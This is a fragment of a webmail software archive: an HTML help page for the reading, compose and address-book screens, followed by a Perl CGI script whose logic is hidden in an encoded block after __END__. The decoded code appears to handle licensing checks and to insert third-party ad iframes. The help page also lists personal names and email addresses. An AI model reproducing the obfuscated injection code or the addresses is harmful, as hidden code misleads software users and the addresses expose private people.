 <td width="95%">&nbsp;</td>

 </tr>
 </table>
<pre>  I hope your day is going well. I am going to Decatur tomorrow night
  to have dinner with Bridget.  I won't be late (8:30). I just thought you
  might want to send your brother an email ( his address is <a href="none">bros@brother.com</a>
  or visit the hottest golf web site ( <a href="http://www.golfdigest.com">http://www.golfdigest.com</a> ) for some
  tips on your swing!</pre>
<p>
<strong>Subject:, Date:, To:</strong><br>
Self explanatory. "Date" is the month and day the message was sent.
<p>
<strong>From:</strong><br>
Specifies the sender of the message.  If the <b><a href="none">Save Address</a></b> link is present, you may click on it to save this address to your address book.  If the <b><a href="none">Save Address</a></b> link is <b>NOT</b> present, this address is already saved in your address book!
<p>
<strong>Cc:</strong><br>
Stands for "Carbon copy".  Everyone in the list received a copy of this email message.
<p>
<strong>Attachments:</strong><br>
These links provide access to email attachments.  You may click on certain attachments with your left mouse button and the attachments will be automatically opened up by the proper application on your system.  For example, if you were sent an attachment called "resume.doc", your web browser would use Microsoft Word to display the document.  Other extensions that will usually open automatically are ".gif" ".jpg" ".txt", and a few others.<br>
<em>If your file doesn't "automagically" open into the proper program</em>, try clicking on it with the <strong>RIGHT MOUSE BUTTON</strong> and highlighting "Save Target As..." This will enable you to save the attachment to a file on your computer.
<p>
<strong>Reply</strong><br>
Send a message to the sender (only) of this email which includes a copy of the original text. Non-text attachments are <strong>NOT</strong> included in the reply!
<p>
<strong>Reply All</strong><br>
Same as "Reply", except each email address listed in the "To:" and "Cc:" fields receives a copy.
<p>
<strong>Forward</strong><br>
Forward a copy of this message, including any attachments!
<p>
<strong>Previous</strong><br>
Display the preceding message.  If you attempt to move past the first message in the mail box, the mail box will be displayed.
<p>
<strong>Delete</strong><br>
Delete this message and display the next message in the mail box.  If you delete the last message in the mail box, the mail box will be displayed.
<p>
<strong>Next</strong><br>
Display the next message.  If you attempt to move past the last message in the mail box, the mail box will be displayed.
<p>
<strong><em>General comments on reading your email messages...</em></strong><br>
URLs (Universal Resource Locators - example: http://....) will take you to the designated web page.  E-mail addresses will bring up the "Compose" page with the email address comprising the "To:" field.
<p>
<center><big><strong><a name="writesend">Compose</a></strong></big></center>
<p>
<FORM ENCTYPE="multipart/form-data" NAME="msgform" ACTION="none" METHOD="POST">
<table align="center" cellpadding="2" cellspacing="2">
<tr>
   <td>&nbsp;</td>
   <td colspan=2 align="left"><a href="none"><b>Open Address Book</b></a>&nbsp;&nbsp;<a href="none"><b>Edit Address Book</b></a></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>To:</strong></font></td>
   <td align="center"><input type="text" name="MSGTO" value="" size="60" tabindex="1"></td>
   <td align="left"><font color="#C0C0C0" size="4"><strong>To:</strong></font></td>
</tr>
<tr>
      <td align="right"><font size="4"><strong>Subject:</strong></font></td>
      <td align="center"><input type="text" name="MSGSUBJECT" value="" size="60" tabindex="2"></td>
      <td align="left"><font color="#C0C0C0" size="4"><strong>Subject:</strong></font></td>
</tr>
<tr>
      <td align="right"><font size="4"><strong>Cc:</strong></font></td>
      <td align="center"><input type="text" name="MSGCC" value="" size="60" tabindex="3"></td>
      <td align="left"><font color="#C0C0C0" size="4"><strong>Cc:</strong></font></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>Bcc:</strong></font></td>
   <td align="center"><input type="text" name="MSGBCC" value="" size="60" tabindex="4"></td>
   <td align="left"><font color="#C0C0C0" size="4"><strong>Bcc:</strong><font></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>Attached:</strong></font></td>
   <td align="center">&nbsp;</td>
   <td colspan=2 align="left"><font color="#C0C0C0" size="4"><strong>Attached:</strong><font></td>
</tr>
</table>

<table width="50%" align="center" cellpadding="4" cellspacing="2" border="0">
    <tr>
       <td align="center" bgcolor="#008080"><input type="submit" value="Send E-Mail" tabindex="7"></td>
       <td width="10%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
       <td align="center" bgcolor="#008080"><input type="button" onClick="clearbox()" value="Clear Message Box Only" tabindex="8"></td>
    </tr>
</table>

<table align="center" cellpadding="2" cellspacing="2" border="0">
    <tr>
      <td align="center">
      <textarea rows="15" name="MSGTEXT" cols="70"
      wrap="physical" tabindex="5">
      </textarea>
      </td>
    </tr>
    <tr>
      <td colspan=5 align="center"><font size="4"><strong>Attach Files To Your Message (Optional)</strong></font></td>
    </tr>
    <tr>
      <td colspan=5 align="center"><input type="FILE" name="attachment" size="55" tabindex="1"></td>
    </tr>
    <tr>
      <td colspan=5 align="center"><input type="FILE" name="attachment" size="55" tabindex="1"></td>
    </tr>
</table>
</form>
<p>
<strong>Open Address Book</strong><br>
Display saved addresses.  Click on links (in blue) to send to just that person.  Press the "Update Addresses" button to send to all email addresses with marked check boxes. This method can be quite slow when you have a lot of addresses saved.
<p>
<strong>Edit Address Book</strong><br>
Add new email addresses or edit saved addresses.
<p>
<strong>To:, Cc:</strong><br>
Enter one or more email addresses you wish to send this message to here.  Email addresses must be separated by a space, comma, or semicolon.  Valid entry examples are:<br>
mike@adjeweb.com amy@adjeweb.com<br>
mike@adjeweb.com, stan@adjeweb.com<br>
mike@adjeweb.com; stan@adjeweb.com<br>
Remember that everyone listed in the "To:" and "Cc:" fields receives a copy of the list of email addresses that received the message. "Cc" stands for "Carbon copy".
<p>
<strong>Bcc:</strong><br>
"Bcc" stands for "Blind carbon copy".  Email addresses listed in this field are not sent a copy of the list of people that received the email.  <strong>Example:</strong> If you had three boyfriends (or girlfriends) that you wanted to shmooze with the same love letter, this is the way to go!! The entry format is that same as that of "To:" and "Cc:" above.
<p>
<strong>Send E-Mail</strong><br>
Once you've completed your message and specified any attachments, this button will send your email on its way!
<p>
<strong>Clear Message Box Only</strong><br>
Will clear the message box of any text.  It's faster to send a "new" message by replying to a message and clearing the message box than pressing the "Compose" button and bringing up the address book.  A note to "vi" editor users: pressing the "escape" (Esc) key while in the message box will also clear the box - be careful!!  I've been burned on this many times!!
<p>
<strong>Attach Files to Message (Optional)</strong><br>
You may attach up to two (2) files from your computer to an email.  Hit the "Browse..." button, specify the file(s) you wish to atttach, then press the "Open" button.  The path of the file will appear in the text area to the left of the "Browse..." button. Once you've completed the message portion of your email, press the "Send E-Mail" button to send your message plus attachments. Remember that large files take longer to send than small ones!!
<p>
<center><big><strong><a name="openaddbk">Open Address Book</a></strong></big></center>
<p>
<form name="addresses" method="POST" action="javascript:Update()">
<table cellpadding=4 cellspacing=4> 
<tr>
<td colspan=4><big><big><b>Address Book</b></big></big><br>Click on the links (in blue) to send email to one person only....</td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="almon74@hotmail.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('almon74@hotmail.com')"><b>Adam_Almon</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="almon74@hotmail.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="almon74@hotmail.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="amymohlere@adjeweb.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('amymohlere@adjeweb.com')"><b>Amy_Mohlere</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="amymohlere@adjeweb.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="amymohlere@adjeweb.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="jbasso@freewwweb.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('jbasso@freewwweb.com')"><b>Basso,_John_(freewwweb)</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="jbasso@freewwweb.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="jbasso@freewwweb.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="addresses" value="Address To Selected Users"></td>
<td colspan="2" align="center"><input type="button" value="Cancel" onClick="window.close();"></td>
<td width="90%">&nbsp;</td>
</tr>
</table>
</form>
<p>
<strong>General Comments:</strong><br>
Clicking on a linked (blue) name/address will copy the address of the individual into the "To:" field of the "Compose" form and close the address book.  You may send messages to several addresses by checking the "To:" "Cc:" or "Bcc:" boxes followed by pressing the "Address To Selected Users" button.  This button will transfer the checked addresses to the "Compose" form and close the address book.
<p>
<center><big><strong><a name="editaddbk">Edit Address Book</a></strong></big></center>
<p>
<form method="POST">
<table cellspacing=4> 
<tr>
<td colspan=4><big><big><b>Edit Existing E-mail Addresses</b></big></big></td>
</tr>
<tr>
<td align="center"><b>Delete</b></td>
<td align="center"><b>Name</b></td>
<td align="center"><b>Address</b></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%"><input type="checkbox" name="SELECTED" value="0">
<input type="hidden" name="IDX" value="0"></td>
<td><input type="text" name="NAME" size="32" value="Adam Almon"></td>
<td><input type="text" name="ADDRESS" size="32" value="almon74@hotmail.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%"><input type="checkbox" name="SELECTED" value="1">
<input type="hidden" name="IDX" value="1"></td>
<td><input type="text" name="NAME" size="32" value="Amy Mohlere"></td>
<td><input type="text" name="ADDRESS" size="32" value="amymohlere@adjeweb.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td align="center"><input type="submit" value="Update Address Book"></td>
<td align="center"><input type="button" value="Cancel" onClick="history.back();"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td colspan=4><big><big><b>Add E-mail Addresses</b></big></big></td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td align="center"><b>Name</b></td>
<td align="center"><b>Address</b></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td><input type="text" size="32" name="ADDNAME"></td>
<td><input type="text" size="32" name="ADDADDRESS"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td><input type="text" size="32" name="ADDNAME"></td>
<td><input type="text" size="32" name="ADDADDRESS"></td>
<td width="90%">&nbsp;</td>
</tr>
</table>
</form>
<p>
<strong>Name:</strong><br>
The name associated with an email address.  Usually the name of a person.  Example: "Michael Mohlere".
<p>
<strong>Address:</strong><br>
The E-mail address associated with the "Name". Example: "mike@adjeweb.com"
<p>
<strong>Delete</strong><br>
Check the box next to addresses you wish to delete from your address book.
<p>
<strong>Update Address Book</strong><br>
This button implements any changes (additions, deletions, modifications) to your address book.
<p>
<strong>Cancel</strong><br>
Return to the previous page.  Similar to the "Back" button on your web browser.
<p>
<center><H1>THE END!</H1></center>
</body>
</html>
wm357/updateaddbook.cgi100644    312    144      103564  7245677670  14340 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use CGI qw/(:cgi) escape unescape/;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
